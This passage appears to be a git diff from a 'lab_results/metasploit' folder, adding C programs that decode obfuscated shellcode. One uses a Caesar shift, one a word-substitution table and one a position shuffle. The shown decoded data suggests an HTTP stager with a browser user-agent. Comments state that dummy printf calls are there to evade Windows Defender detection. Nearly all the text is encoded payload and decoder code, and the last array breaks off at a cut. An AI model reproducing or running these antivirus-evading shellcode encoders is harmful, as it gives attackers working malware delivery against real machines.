0x15, 0x52, 0x46, 0xde, 0x82, 0xe5, 0x65, 0x51, 0x98, 0x4d, 0x31, 0x56, 0xe, 0xdd, 0x73, 0x4e, 0x98, 0x19, 0x55, 0x51, 0x98, 0x4d, 0x29, 0x56, 0xe, 0xdd, 0x4e, 0x98, 0x11, 0x95, 0x4e, 0x65, 0x4e, 0x65, 0x55, 0xe, 0xdd, 0x6b, 0x66, 0x67, 0x4e, 0x65, 0x4e, 0x66, 0x4e, 0x67, 0x55, 0x90, 0xf9, 0x2d, 0x4e, 0x5f, 0xc, 0xed, 0x65, 0x4e, 0x66, 0x67, 0x55, 0x98, 0x1f, 0xf6, 0x58, 0xc, 0xc, 0xc, 0x6a, 0x55, 0x3e, 0xe8, 0x60, 0x56, 0xcb, 0x84, 0x76, 0x7b, 0x76, 0x7b, 0x72, 0x81, 0xd, 0x4e, 0x63, 0x55, 0x96, 0xee, 0x56, 0xd4, 0xcf, 0x59, 0x84, 0x33, 0x14, 0xc, 0xe2, 0x60, 0x60, 0xf5, 0x7d, 0xd, 0xd, 0xd, 0x5a, 0x7c, 0x87, 0x76, 0x79, 0x79, 0x6e, 0x3c, 0x42, 0x3b, 0x3d, 0x2d, 0x35, 0x64, 0x76, 0x7b, 0x71, 0x7c, 0x84, 0x80, 0x2d, 0x5b, 0x61, 0x2d, 0x3e, 0x3d, 0x3b, 0x3d, 0x48, 0x2d, 0x64, 0x76, 0x7b, 0x43, 0x41, 0x48, 0x2d, 0x85, 0x43, 0x41, 0x36, 0x2d, 0x4e, 0x7d, 0x7d, 0x79, 0x72, 0x64, 0x72, 0x6f, 0x58, 0x76, 0x81, 0x3c, 0x42, 0x40, 0x44, 0x3b, 0x40, 0x43, 0x2d, 0x35, 0x58, 0x55, 0x61, 0x5a, 0x59, 0x39, 0x2d, 0x79, 0x76, 0x78, 0x72, 0x2d, 0x54, 0x72, 0x70, 0x78, 0x7c, 0x36, 0x2d, 0x50, 0x75, 0x7f, 0x7c, 0x7a, 0x72, 0x3c, 0x3e, 0x40, 0x3e, 0x3b, 0x3d, 0x3b, 0x3d, 0x3b, 0x3d, 0x2d, 0x60, 0x6e, 0x73, 0x6e, 0x7f, 0x76, 0x3c, 0x42, 0x40, 0x44, 0x3b, 0x40, 0x43, 0xd, 0x66, 0x60, 0x67, 0x5a, 0x3e, 0xcd, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x56, 0xc7, 0x47, 0x63, 0x86, 0xb4, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0xf5, 0x1d, 0xd, 0xd, 0xd, 0x3e, 0x46, 0x3f, 0x3b, 0x3e, 0x43, 0x45, 0x3b, 0x3e, 0x46, 0x3d, 0x3b, 0x3e, 0x40, 0x41, 0xd, 0x67, 0x55, 0x96, 0xce, 0x56, 0xd4, 0xcd, 0x5d, 0xd, 0xd, 0xd, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x77, 0x10, 0x60, 0x56, 0xc7, 0x64, 0x96, 0xac, 0xd3, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0xf5, 0x58, 0xd, 0xd, 0xd, 0x3c, 0x82, 0x84, 0x51, 0x76, 0x66, 0x5f, 0x5b, 0x7f, 0x70, 0x7a, 0x87, 0x5c, 0x44, 0x5a, 0x6c, 0x82, 0x7d, 0x80, 0x4e, 0x4f, 0x5d, 0x84, 0x77, 0x6c, 0x79, 0x7b, 0x76, 0x78, 0x41, 0x45, 0x44, 0x6c, 0x54, 0x6e, 0x4f, 0x3f, 0x60, 0x5a, 0x81, 0x72, 0x3e, 0x79, 0x77, 0x65, 0x73, 0x51, 0x5d, 0x81, 0x46, 0x46, 0x53, 0x6f, 0x81, 0x5e, 0x4e, 0x65, 0x42, 0x7e, 0x63, 0x6f, 0x3e, 0x5f, 0x76, 0x4e, 0x61, 0x57, 0x5c, 0x7b, 0x7e, 0x83, 0x85, 0x82, 0x3a, 0xd, 0x55, 0x96, 0xce, 0x60, 0x67, 0x4e, 0x65, 0x5a, 0x3e, 0xd6, 0x60, 0x55, 0xc5, 0xd, 0xf, 0x35, 0x91, 0xd, 0xd, 0xd, 0xd, 0x5d, 0x60, 0x60, 0x56, 0xd4, 0xcf, 0xf8, 0x62, 0x3b, 0x48, 0xc, 0xe2, 0x55, 0x96, 0xd3, 0x77, 0x17, 0x6c, 0x60, 0x67, 0x55, 0x96, 0xfe, 0x5a, 0x3e, 0xd6, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x56, 0xd4, 0xcf, 0x3a, 0x13, 0x25, 0x88, 0xc, 0xe2, 0x92, 0xcd, 0x82, 0x2c, 0x55, 0xd4, 0xce, 0x95, 0x20, 0xd, 0xd, 0x56, 0xc7, 0x51, 0xfd, 0x42, 0xed, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0xc, 0xdc, 0x81, 0xf, 0xf8, 0xd9, 0xf5, 0x62, 0xd, 0xd, 0xd, 0x60, 0x66, 0x77, 0x4d, 0x67, 0x56, 0x96, 0xde, 0xce, 0xef, 0x1d, 0x56, 0xd4, 0xcd, 0xd, 0x1d, 0xd, 0xd, 0x56, 0xc7, 0x65, 0xb1, 0x60, 0xf2, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0xa0, 0x60, 0x60, 0x55, 0x96, 0xf4, 0x55, 0x96, 0xfe, 0x55, 0x96, 0xe7, 0x56, 0xd4, 0xcd, 0xd, 0x2d, 0xd, 0xd, 0x56, 0x96, 0x6, 0x56, 0xc7, 0x1f, 0xa3, 0x96, 0xef, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0x90, 0xd1, 0x2d, 0x92, 0xcd, 0x81, 0xbf, 0x73, 0x98, 0x14, 0x55, 0xe, 0xd0, 0x92, 0xcd, 0x82, 0xdf, 0x65, 0xd0, 0x65, 0x77, 0xd, 0x66, 0x56, 0xd4, 0xcf, 0xfd, 0xc2, 0xaf, 0x63, 0xc, 0xe2};unsigned char shellcode[711] = { 0x00 }; + + for (int i = 0; i < sizeof(caesar); i++) + { + if ((caesar[i] - 13) < 0) + { + printf(""); // because defender + shellcode[i] = caesar[i] + 256 - 13; + } + else + { + shellcode[i] = caesar[i] - 13; + } + } + + int idx = 0; + while (idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1)) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; +} diff --git a/lab_results/metasploit/jargon_work.c b/lab_results/metasploit/jargon_work.c new file mode 100644 index 0000000..8e5e356 --- /dev/null +++ b/lab_results/metasploit/jargon_work.c @@ -0,0 +1,64 @@ +#include +#include + + +int main(void) +{ + + + unsigned char* translation_table[256] = { "slots","whole","ultra","evans","queen","poker","taken","exist","draft","ratio","dylan","aging","notre","paste","adult","remix","alice","tried","verse","villa","dress","issue","sends","piece","paths","court","cisco","forum","punch","meals","witch","craps","hello","cache","terry","kills","vista","weird","jokes","table","mouse","terms","burke","chips","alter","early","asset","tooth","amino","camps","blood","roads","islam","ready","haven","sizes","korea","rules","beast","spent","floyd","jesus","float","dirty","trash","worse","inner","fails","lands","alarm","truth","grass","rooms","meyer","moved","sharp","micro","sanyo","might","major","spray","songs","homes","nepal","kevin","since","giant","devil","milan","state","chess","tampa","solar","merry","locks","brand","aside","being","niger","spank","tumor","cross","marsh","scene","owned","eddie","sandy","goals","rhode","heart","iraqi","outer","funny","mercy","sally","qatar","whose","fever","stage","close","wrist","italy","plaza","bunny","wiley","slope","boots","adopt","suits","color","dover","surge","staff","slave","voted","civil","smith","promo","packs","cents","shall","built","medal","fares","devon","allan","flush","sweet","could","knife","truck","japan","skill","roots","civic","goods","bound","south","sound","scope","aruba","spies","build","tones","bones","lobby","split","plane","named","urban","camel","range","apple","casey","birth","spend","clips","watch","yemen","nasty","mouth","frame","spoke","chain","forms","found","sleep","glory","beats","abuse","smile","among","index","venue","beach","paint","serve","safer","salem","dense","below","class","uncle","jerry","pipes","beans","louis","smoke","beads","crest","price","pixel","fires","taste","ships","maker","falls","choir","years","loads","barry","place","corps","sbjct","filed","sheep","casio","empty","alert","nerve","sunny","every","deals","donor","carey","mazda","grams","logic","light","prime","apply","patch","human","awful","races","admit","toxic","moore","kelly","earth","large","hayes","fifth","buyer","begun","enemy" }; + +unsigned char* translated_shellcode[711] = { "fifth","rooms","surge","alert","apply","deals","pipes","slots","slots","slots","worse","songs","worse","spray","homes","rooms","camps","price","cross","rooms","cents","homes","aside","rooms","cents","homes","paths","rooms","cents","homes","hello","songs","giant","rooms","remix","chain","moved","moved","rooms","cents","sally","spray","sanyo","camps","class","rooms","camps","index","apple","floyd","being","wiley","ultra","alter","hello","worse","venue","class","paste","worse","whole","venue","casio","logic","homes","rooms","cents","homes","hello","cents","inner","floyd","worse","songs","rooms","whole","beads","marsh","color","wrist","paths","aging","ultra","remix","slave","sally","slots","slots","slots","cents","suits","smith","slots","slots","slots","rooms","slave","index","whose","scene","rooms","whole","beads","lands","cents","trash","hello","meyer","whole","beads","cents","rooms","paths","spray","empty","giant","rooms","enemy","class","worse","cents","islam","smith","sanyo","camps","class","rooms","whole","ships","rooms","camps","index","apple","worse","venue","class","paste","worse","whole","venue","korea","filed","fever","patch","micro","evans","micro","vista","draft","alarm","rules","crest","fever","falls","milan","lands","cents","trash","vista","meyer","whole","beads","marsh","worse","cents","notre","rooms","lands","cents","trash","punch","meyer","whole","beads","worse","cents","queen","smith","worse","milan","worse","milan","rooms","whole","beads","locks","state","chess","worse","milan","worse","state","worse","chess","rooms","surge","grams","hello","worse","homes","enemy","filed","milan","worse","state","chess","rooms","cents","verse","donor","sharp","enemy","enemy","enemy","merry","rooms","camps","loads","nepal","meyer","smile","close","eddie","iraqi","eddie","iraqi","cross","whose","slots","worse","giant","rooms","promo","sheep","meyer","dense","beach","micro","close","jokes","exist","enemy","taste","nepal","nepal","deals","funny","slots","slots","slots","sanyo","outer","plaza","eddie","rhode","rhode","being","tooth","ready","asset","amino","hello","mouse","devil","eddie","iraqi","tumor","outer","close","qatar","hello","might","kevin","hello","camps","amino","asset","amino","spent","hello","devil","eddie","iraqi","haven","islam","spent","hello","wrist","haven","islam","terms","hello","worse","funny","funny","rhode","cross","devil","cross","niger","sharp","eddie","whose","tooth","ready","roads","sizes","asset","roads","haven","hello","mouse","sharp","rooms","kevin","sanyo","micro","alter","hello","rhode","eddie","goals","cross","hello","grass","cross","spank","goals","outer","terms","hello","fails","owned","sally","outer","heart","cross","tooth","camps","roads","camps","asset","amino","asset","amino","asset","amino","hello","nepal","being","marsh","being","sally","eddie","tooth","ready","roads","sizes","asset","roads","haven","slots","state","nepal","chess","sanyo","camps","index","sanyo","camps","class","nepal","nepal","meyer","sleep","beast","giant","italy","plane","slots","slots","slots","slots","enemy","taste","deals","alice","slots","slots","slots","camps","rules","blood","asset","camps","haven","korea","asset","camps","rules","amino","asset","camps","roads","islam","slots","chess","rooms","promo","venue","meyer","dense","index","spray","slots","slots","slots","sanyo","camps","class","nepal","nepal","sandy","evans","nepal","meyer","sleep","devil","promo","scope","salem","slots","slots","slots","slots","enemy","taste","deals","sharp","slots","slots","slots","tooth","fever","close","lands","eddie","state","homes","might","sally","spank","heart","plaza","major","sizes","sanyo","brand","fever","funny","qatar","worse","inner","spray","close","sandy","brand","rhode","iraqi","eddie","goals","islam","korea","sizes","brand","grass","being","inner","blood","nepal","sanyo","whose","cross","camps","rhode","sandy","milan","marsh","lands","spray","whose","rules","rules","truth","niger","whose","songs","worse","milan","ready","mercy","giant","niger","camps","homes","eddie","worse","kevin","moved","major","iraqi","mercy","stage","wrist","fever","early","slots","rooms","promo","venue","nepal","chess","worse","milan","sanyo","camps","class","nepal","rooms","forms","slots","ultra","mouse","staff","slots","slots","slots","slots","spray","nepal","nepal","meyer","dense","beach","mazda","since","asset","spent","enemy","taste","rooms","promo","salem","sandy","dylan","brand","nepal","chess","rooms","promo","patch","sanyo","camps","class","sanyo","camps","class","nepal","nepal","meyer","dense","beach","early","taken","paths","bunny","enemy","taste","slave","index","fever","craps","rooms","dense","venue","smith","villa","slots","slots","meyer","sleep","lands","apply","ready","filed","slots","slots","slots","slots","enemy","taste","rooms","enemy","smoke","whose","ultra","mazda","pipes","deals","since","slots","slots","slots","nepal","state","sandy","trash","chess","meyer","promo","crest","venue","casio","alice","meyer","dense","index","slots","alice","slots","slots","meyer","sleep","milan","bones","nepal","nerve","slots","slots","slots","slots","enemy","taste","rooms","sweet","nepal","nepal","rooms","promo","every","rooms","promo","patch","rooms","promo","years","meyer","dense","index","slots","hello","slots","slots","meyer","promo","earth","meyer","sleep","verse","truck","promo","casio","slots","slots","slots","slots","enemy","taste","rooms","surge","serve","hello","slave","index","whose","yemen","marsh","cents","exist","rooms","whole","paint","slave","index","fever","price","milan","paint","milan","sandy","slots","state","meyer","dense","beach","apply","frame","build","giant","enemy","taste" }; + +unsigned char shellcode[711] = {0}; +int sc_len = sizeof(shellcode); + + printf("Translating shellcode!\n"); + /* + for loop is defined as such: + for (int sc_index = 0; sc_index < # of shelcode bytes; sc_index++) + */ + for (int sc_index = 0; sc_index < 711; sc_index++) { + for (int tt_index = 0; tt_index <= 255; tt_index++) { + //if (translation_table[tt_index] == translated_shellcode[sc_index]) { + if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) { + shellcode[sc_index] = tt_index; + break; + } + } + } + + + + /* SHELLCODE will look like this: + unsigned char* translation_table[256] = { "music","taste","wings","audio","endif","winds","crime","bonus","lanka","honey","simon","manor","screw","puppy","surge","watts","upper","dance","touch","heavy","tumor","scale","acute","wider","strap","tooth","colon","karen","fever","quiet","chart","donna","yacht","human","devil","belly","heath","class","shall","these","funds","discs","atlas","dying","arrow","spies","pairs","young","amber","exist","glory","offer","swift","focal","larry","bobby","tires","items","skirt","adult","blond","roman","stick","elvis","slope","scuba","value","lexus","cells","happy","joins","india","yards","smoke","train","bacon","sheet","blink","dairy","latex","feels","guide","shoot","holly","armor","bench","tours","cedar","fires","bands","firms","roads","known","going","mails","speak","laugh","heard","study","logan","packs","level","carey","shirt","loose","tapes","goals","maine","uncle","shine","dense","cases","cache","cards","favor","disks","coins","nokia","enter","fatty","bring","anger","singh","tribe","notre","saint","emily","moses","brown","kathy","busty","squad","gamma","debug","nikon","judge","guest","claim","lobby","bears","maybe","close","basic","catch","alarm","meant","chain","meyer","vital","clock","keith","ports","theme","enjoy","abuse","rooms","pipes","broad","words","outer","point","users","paste","aruba","hairy","spice","taxes","teach","paris","plate","roger","title","stone","gates","texts","smart","trade","berry","worry","photo","tunes","storm","panic","pumps","hello","fuzzy","mouth","joyce","grows","email","teddy","pills","birth","games","pride","skype","meter","yours","lyric","means","picks","diane","wagon","rouge","kevin","focus","scott","dolls","frost","today","small","alpha","track","smith","james","wanna","buses","spots","eight","stuck","indie","clean","weeks","jewel","solve","opens","civic","usage","array","nodes","mason","roots","sugar","dirty","sight","jesus","lloyd","strip","dream","might","tions","grams","brass","hired","julia","crazy","flood","march","combo","drops","delta","shaft","spank","jesse","arena","visit" }; + unsigned char* translated_shellcode[598] = { "spank","yards","squad","array","tions","sugar","kevin","music","music","music","scuba","guide","scuba","feels","shoot","guide","yards","exist","small","tours","level","yards","bears","shoot","laugh","yards","bears","shoot","strap","yards","bears","shoot","yacht","yards","watts","pumps","train","train","yards","bears","favor","feels","blink","exist","diane","yards","exist","birth","stone","blond","heard","notre","wings","arrow","yacht","scuba","games","diane","puppy","scuba","taste","games","civic","strip","shoot","yards","bears","shoot","yacht","scuba","guide","bears","value","blond","yards","taste","frost","carey","kathy","bring","strap","manor","wings","watts","debug","favor","music","music","music","bears","brown","guest","music","music","music","yards","debug","birth","coins","shirt","yards","taste","frost","feels","bears","yards","strap","cells","bears","slope","yacht","smoke","taste","frost","usage","tours","blink","exist","diane","yards","visit","diane","scuba","bears","swift","guest","yards","taste","james","yards","exist","birth","stone","scuba","games","diane","puppy","scuba","taste","games","tires","solve","nokia","grams","sheet","audio","sheet","heath","lanka","happy","items","today","nokia","buses","fires","cells","bears","slope","heath","smoke","taste","frost","carey","scuba","bears","screw","yards","cells","bears","slope","fever","smoke","taste","frost","scuba","bears","endif","guest","scuba","fires","scuba","fires","mails","yards","taste","frost","bands","firms","scuba","fires","scuba","bands","scuba","firms","yards","squad","lloyd","yacht","scuba","shoot","visit","solve","fires","scuba","bands","firms","yards","bears","touch","dirty","bacon","visit","visit","visit","going","yards","exist","stuck","holly","smoke","teddy","fatty","tapes","dense","tapes","dense","level","coins","music","scuba","tours","yards","claim","opens","smoke","means","pride","sheet","fatty","shall","bonus","visit","smith","holly","holly","yards","claim","opens","holly","firms","blink","exist","birth","blink","exist","diane","holly","holly","smoke","mouth","skirt","tours","anger","teach","music","music","music","music","visit","smith","sugar","upper","music","music","music","exist","items","glory","pairs","exist","larry","tires","pairs","exist","items","amber","pairs","exist","offer","swift","music","firms","yards","claim","games","smoke","means","birth","feels","music","music","music","blink","exist","diane","holly","holly","goals","audio","holly","smoke","mouth","cedar","claim","outer","lyric","music","music","music","music","visit","smith","sugar","blink","music","music","music","young","favor","level","happy","enter","packs","packs","goals","larry","cards","dense","train","maine","train","glory","bench","uncle","scuba","packs","larry","shirt","heard","scuba","enter","goals","enter","favor","maine","tapes","holly","lexus","cache","larry","blink","bacon","tours","disks","fires","fires","fatty","favor","dairy","singh","disks","loose","goals","loose","uncle","maine","cells","offer","bacon","logan","value","nokia","larry","scuba","maine","packs","lexus","fires","tires","coins","yards","larry","enter","train","sheet","fires","larry","bacon","shoot","cedar","bench","dense","cedar","music","yards","claim","games","holly","firms","scuba","fires","blink","exist","diane","holly","yards","hello","music","wings","funds","gamma","music","music","music","music","feels","holly","holly","smoke","means","pride","jesus","bench","pairs","adult","visit","smith","yards","claim","lyric","goals","simon","speak","holly","firms","yards","claim","grams","blink","exist","diane","blink","exist","diane","holly","holly","smoke","means","pride","spies","crime","strap","tribe","visit","smith","debug","birth","nokia","donna","yards","means","games","guest","heavy","music","music","smoke","mouth","cells","tions","focal","solve","music","music","music","music","visit","smith","yards","visit","dolls","coins","wings","jesus","kevin","sugar","bench","music","music","music","holly","bands","goals","slope","firms","smoke","claim","today","games","civic","upper","smoke","means","birth","music","upper","music","music","smoke","mouth","fires","hairy","holly","nodes","music","music","music","music","visit","smith","yards","meyer","holly","holly","yards","claim","roots","yards","claim","grams","yards","claim","eight","smoke","means","birth","music","yacht","music","music","smoke","claim","drops","smoke","mouth","touch","keith","claim","civic","music","music","music","music","visit","smith","yards","squad","meter","yacht","debug","birth","coins","worry","carey","bears","bonus","yards","taste","skype","debug","birth","nokia","small","fires","skype","fires","goals","music","bands","smoke","means","pride","tions","storm","paste","tours","visit","smith" }; + + unsigned char shellcode[598] = {0}; + int sc_len = sizeof(shellcode); + + for (int sc_index = 0; sc_index < 598; sc_index++) { + printf(""); // Defender is detecting the translation routine ¯\_(ツ)_/¯ + for (int tt_index = 0; tt_index <= 255; tt_index++) { + if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) { + shellcode[sc_index] = tt_index; + break; + } + } + } + */ + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } +} diff --git a/lab_results/metasploit/jigsaw_work.c b/lab_results/metasploit/jigsaw_work.c new file mode 100644 index 0000000..3816dc7 --- /dev/null +++ b/lab_results/metasploit/jigsaw_work.c @@ -0,0 +1,38 @@ +#include +#include + + +int main(void) +{ + + + unsigned char jigsaw[711] = { 0xf1, 0x77, 0x1f, 0x74, 0xd0, 0x41, 0xff, 0x65, 0xb7, 0x6a, 0x6e, 0xc1, 0xd2, 0xed, 0x49, 0x00, 0x00, 0x7b, 0x4e, 0x03, 0x4d, 0x10, 0x56, 0x66, 0x61, 0x00, 0x35, 0x60, 0x72, 0x30, 0xe8, 0x8b, 0xd5, 0x31, 0x52, 0x49, 0x4d, 0x00, 0x48, 0x52, 0x73, 0x26, 0x53, 0x31, 0xc7, 0x48, 0x58, 0x00, 0xe4, 0x4b, 0xc3, 0x2e, 0xd5, 0x6c, 0x13, 0x08, 0x59, 0x28, 0x00, 0xe0, 0x41, 0x50, 0x65, 0x00, 0x73, 0x41, 0x77, 0x57, 0x53, 0xc9, 0x58, 0x88, 0x2f, 0x75, 0x00, 0xbe, 0x00, 0x76, 0x00, 0x66, 0x69, 0x48, 0x8b, 0x84, 0x59, 0x00, 0xff, 0xc9, 0xff, 0x4d, 0x20, 0x48, 0x44, 0x52, 0x20, 0x33, 0x48, 0x00, 0xc9, 0x31, 0x6c, 0x10, 0xc1, 0x69, 0xf1, 0xff, 0x31, 0x24, 0x41, 0x3b, 0xc9, 0x53, 0x58, 0x4a, 0xc1, 0x01, 0x48, 0x50, 0x6b, 0x88, 0x6d, 0x00, 0x48, 0x72, 0x2e, 0x3c, 0x69, 0x00, 0x39, 0x70, 0x4d, 0x4d, 0x40, 0x31, 0x49, 0x41, 0x49, 0x4d, 0xc9, 0x66, 0x49, 0xc2, 0x00, 0x31, 0x48, 0x18, 0x20, 0x48, 0xd0, 0x78, 0x20, 0xc0, 0x31, 0x74, 0xd5, 0x3b, 0xff, 0x66, 0x53, 0xe7, 0x31, 0x48, 0x44, 0x30, 0x03, 0x41, 0x00, 0x63, 0x41, 0x48, 0x00, 0x58, 0x4f, 0x0d, 0xb8, 0x20, 0x20, 0x01, 0xa2, 0xf1, 0x00, 0x32, 0x5a, 0x49, 0x31, 0x00, 0x53, 0x41, 0xc4, 0xd0, 0xc2, 0x41, 0xc9, 0x2f, 0x59, 0x69, 0x41, 0x78, 0x89, 0x01, 0x49, 0x69, 0x56, 0xc7, 0xba, 0x48, 0x41, 0x61, 0x6f, 0x8b, 0x8b, 0xc7, 0xc2, 0x48, 0xd5, 0x41, 0x58, 0xba, 0x00, 0x53, 0x80, 0x00, 0x63, 0x53, 0x42, 0x34, 0xc0, 0x00, 0xd1, 0x75, 0x00, 0xd0, 0x20, 0x2d, 0x66, 0xc0, 0x74, 0x00, 0x36, 0xd5, 0x52, 0x0a, 0x41, 0x65, 0x62, 0xc7, 0xf0, 0x59, 0x6e, 0x58, 0x74, 0x00, 0x38, 0xc9, 0x8b, 0x40, 0x12, 0x31, 0x46, 0x54, 0x49, 0x4e, 0xff, 0x51, 0x70, 0x89, 0xeb, 0x69, 0x54, 0x58, 0x69, 0x89, 0x32, 0x38, 0x89, 0x35, 0x6d, 0x2e, 0xfc, 0xa7, 0x48, 0x34, 0xff, 0xba, 0x57, 0x41, 0xc7, 0x49, 0x53, 0x44, 0x53, 0x18, 0x2c, 0x53, 0x6b, 0x47, 0x49, 0x4c, 0x3b, 0x0c, 0x58, 0x53, 0x61, 0x20, 0x1c, 0x74, 0x4b, 0x00, 0x75, 0x5a, 0x6c, 0x00, 0x65, 0x00, 0x0f, 0x49, 0xc7, 0x07, 0x4d, 0x51, 0x89, 0x30, 0x31, 0x45, 0xc9, 0x36, 0x33, 0x00, 0x00, 0x6a, 0x41, 0x54, 0x00, 0x20, 0x70, 0x20, 0x48, 0xc0, 0x30, 0x20, 0xd1, 0x8b, 0x96, 0x49, 0x89, 0x31, 0x40, 0x02, 0x71, 0x5a, 0x4d, 0xcc, 0x00, 0x2e, 0x52, 0x65, 0x00, 0xe2, 0x89, 0x48, 0x36, 0x62, 0x4d, 0x2f, 0x31, 0x85, 0x53, 0xd5, 0x7a, 0x33, 0x04, 0x72, 0x39, 0x4c, 0x01, 0x39, 0xff, 0x00, 0x42, 0x53, 0xe9, 0x53, 0x48, 0x00, 0x41, 0x89, 0x72, 0x2e, 0x8b, 0x01, 0x18, 0xc1, 0x85, 0xc0, 0x48, 0xd6, 0x58, 0x20, 0x31, 0xba, 0x44, 0x74, 0xc6, 0x3c, 0xe0, 0x48, 0xe3, 0x85, 0x81, 0x6e, 0xc1, 0x2e, 0x50, 0x48, 0xd8, 0xc7, 0xf0, 0x4b, 0x48, 0x00, 0xba, 0x01, 0x38, 0x34, 0x35, 0x59, 0x40, 0x5a, 0x6f, 0xc0, 0xda, 0x00, 0x55, 0x00, 0x8b, 0x77, 0x37, 0xe8, 0xc9, 0x41, 0x56, 0x31, 0x61, 0x6e, 0x31, 0x20, 0xc6, 0x58, 0x0d, 0x48, 0x48, 0x10, 0x62, 0x00, 0x69, 0x00, 0x72, 0xff, 0x00, 0x6f, 0xc0, 0x49, 0x44, 0x39, 0x83, 0xe8, 0xdb, 0x18, 0x00, 0x3a, 0x52, 0xe2, 0x2d, 0x5f, 0x2c, 0x8b, 0x44, 0x01, 0xc0, 0x48, 0x37, 0xc2, 0x0b, 0x00, 0x06, 0xc1, 0x6c, 0x74, 0x67, 0x02, 0x53, 0xf9, 0x4a, 0x4f, 0x6a, 0x5a, 0x00, 0x58, 0x07, 0xd5, 0xd0, 0x75, 0xff, 0x8b, 0x5d, 0x9f, 0x48, 0x70, 0x6a, 0xc1, 0x37, 0x4d, 0x4c, 0x41, 0x5f, 0x75, 0x65, 0xcf, 0x4b, 0xc3, 0x57, 0xd2, 0x79, 0x4a, 0x41, 0x0f, 0x85, 0x00, 0x8b, 0x2e, 0x8b, 0xe2, 0x88, 0xd5, 0x48, 0x47, 0x34, 0x88, 0x53, 0x33, 0x78, 0x53, 0x6e, 0x00, 0x33, 0xc0, 0x48, 0x00, 0x50, 0x28, 0x89, 0xf0, 0x52, 0x01, 0x00, 0x89, 0x5f, 0x49, 0x69, 0xc0, 0x29, 0x75, 0x53, 0x5a, 0xac, 0x20, 0x85, 0x00, 0x93, 0x48, 0xe1, 0x5a, 0x48, 0x6e, 0x53, 0x64, 0x5a, 0x00, 0xc1, 0x6b, 0x52, 0x2f, 0x20, 0x50, 0x48, 0x4c, 0x59, 0x00, 0x20, 0x56, 0x6f, 0x48, 0x00, 0x20, 0x42, 0xe5, 0x53, 0x83, 0x49, 0x8b, 0xb2, 0xe8, 0x53, 0x00, 0x51, 0x28, 0x00, 0xff, 0x29, 0x20, 0x00, 0x00, 0x00, 0x6a, 0x01, 0x48, 0x02, 0x48, 0x49, 0x6c, 0x77, 0x56, 0x2f, 0x6a, 0x01, 0x77, 0x4d, 0x41, 0xd5, 0x69, 0x30, 0x53, 0x24, 0x2e, 0x49, 0x65, 0xe8, 0x74, 0xe0, 0x41, 0x37, 0x61, 0x35, 0x31, 0x2e, 0x83, 0x65, 0x50, 0x48, 0x00, 0xff, 0xa4, 0x8b, 0x31, 0x36, 0x00, 0xeb, 0xc9, 0xac, 0x31, 0x7c, 0x8b, 0x49, 0x55, 0x30, 0x30, 0x68, 0x41, 0x48, 0x56, 0x6c, 0x52, 0x5e, 0x75, 0xc7, 0xcc, 0x8b, 0x2e, 0xb5, 0x59, 0x12, 0xff, 0x50, 0x31, 0x7a, 0x33, 0x43, 0x89, 0xff, 0x36, 0x34, 0x31, 0x02, 0xd0, 0x57, 0x00, 0x89, 0x41, 0xff, 0x4d, 0x2e, 0x35, 0x39, 0xec, 0x71, 0x5f, 0x69, 0x00, 0x51, 0x00, 0x48 }; + +int positions[711] = { 652, 444, 581, 227, 173, 55, 213, 325, 35, 485, 282, 134, 695, 63, 618, 382, 611, 575, 271, 145, 315, 623, 708, 487, 50, 596, 304, 22, 40, 277, 385, 175, 677, 483, 67, 666, 365, 379, 313, 21, 460, 239, 613, 274, 542, 678, 154, 440, 3, 438, 691, 546, 384, 467, 586, 148, 701, 532, 248, 141, 203, 113, 336, 381, 269, 292, 268, 280, 420, 419, 179, 91, 337, 694, 629, 220, 535, 512, 416, 350, 320, 194, 69, 533, 191, 415, 676, 57, 599, 564, 660, 74, 445, 199, 273, 339, 19, 534, 370, 503, 295, 628, 56, 505, 143, 383, 394, 147, 506, 278, 135, 479, 523, 508, 61, 60, 528, 13, 321, 177, 452, 659, 15, 450, 397, 49, 301, 610, 491, 246, 524, 368, 157, 16, 541, 10, 631, 123, 566, 77, 219, 543, 639, 43, 129, 26, 681, 206, 102, 79, 261, 626, 216, 302, 577, 547, 212, 686, 645, 649, 525, 215, 488, 346, 423, 192, 88, 326, 12, 550, 434, 181, 454, 136, 529, 330, 318, 101, 707, 560, 587, 392, 193, 656, 130, 389, 646, 133, 680, 76, 571, 59, 563, 303, 614, 253, 119, 513, 518, 172, 107, 446, 115, 235, 590, 582, 461, 256, 328, 28, 66, 625, 704, 517, 436, 522, 698, 426, 537, 243, 90, 228, 451, 539, 462, 289, 367, 9, 620, 514, 612, 109, 68, 515, 162, 412, 495, 7, 309, 242, 29, 554, 198, 482, 502, 657, 4, 186, 265, 633, 684, 387, 140, 125, 120, 616, 208, 340, 493, 314, 569, 449, 576, 11, 459, 670, 606, 353, 507, 696, 264, 654, 478, 396, 551, 258, 335, 401, 0, 378, 558, 404, 602, 632, 427, 174, 411, 159, 363, 591, 568, 574, 317, 635, 470, 475, 624, 316, 285, 165, 486, 372, 476, 310, 170, 604, 300, 640, 443, 187, 255, 637, 322, 249, 83, 702, 703, 240, 417, 496, 428, 275, 369, 149, 118, 360, 308, 588, 530, 465, 497, 272, 431, 197, 294, 279, 182, 131, 400, 286, 151, 24, 669, 663, 651, 366, 169, 531, 511, 205, 561, 6, 86, 358, 504, 226, 247, 671, 648, 647, 395, 299, 456, 257, 402, 692, 371, 600, 453, 356, 176, 333, 391, 237, 75, 492, 709, 536, 70, 540, 209, 527, 65, 630, 178, 664, 352, 393, 110, 690, 112, 519, 682, 579, 23, 128, 498, 291, 398, 667, 155, 490, 552, 71, 594, 1, 114, 578, 78, 510, 409, 259, 463, 27, 153, 583, 